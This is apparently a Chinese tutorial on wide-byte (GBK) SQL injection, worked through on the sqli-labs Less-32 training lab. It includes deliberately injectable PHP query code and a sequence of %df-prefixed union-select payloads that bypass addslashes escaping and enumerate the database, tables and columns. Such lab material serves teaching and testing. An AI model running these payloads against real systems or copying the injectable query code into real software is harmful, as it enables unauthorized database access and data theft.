文章目录
SQL注入 - 宽字节注入
靶场 sqli - labs less-32
宽字节注入主要是绕过魔术引号的,数据库解析中除了UTF-8编码外的所有编码如:GBK等都有可能存在宽字节注入
宽字节注入前置知识
php 5.4 以下低版本,修改配置文件然后强制执行,使用 magic_quotes_gpc 函数转义
php
<?php
$a = "select * from admin where id ='$_REQUEST[8]'";
echo $a;
?>

php 5.4 以上高版本,删除掉了这个配置,通过特定函数使用addslashes() 函数转义
php
<?php
$b = addslashes($_REQUEST[8]);
$a = "select * from admin where id ='$b'";
echo $a;
?>

SQL注入的核心是 闭合引号,注释后面的引号,让我们的输入跳出单双引号
sql
select * from users where id='1'
魔术引号的核心意义是不让你闭合,通过反斜杠转义你输入的单双引号反斜杠等
绕过方法:
1、寻找不需要闭合的地方,如传参类型为init还是varchar
2、仔细查看作用域($_server)
3、宽字节注入
宽字节
两个单字节可以变为双字节,如:
select * from users where id='1?/''
如数据库采用gbk编码方式,?/ 被解释成汉字则,' 会被逃逸出来
靶场实战
判断是否存在SQL注入
?id=1' and 1=1 ?id=1' and 1=2 发现被反斜杠转义了
?id=1' and 1=1 --+
?id=1' and 1=2 --+

使用%df 进行宽字节注入绕过,发现存在SQL注入
/ = 5c
%df = df
df5c = 運 (GBK编码字符)
?id=1%df' and 1=1 --+
?id=1%df' and 1=2 --+


判断位数
order by 语句可得 位数为3
?id=1%df' order by 4 --+

判显错位
判断可得2,3
?id=-1%df' union select 1,2,3 --+

判库名
判断可得 security
?id=-1%df' union select 1,2,database() --+
判表名
?id=-1%df' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1 --+
判列名
?id=-1%df' union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=0x7573657273 limit 0,1 --+
0x7573657273(16进制) = users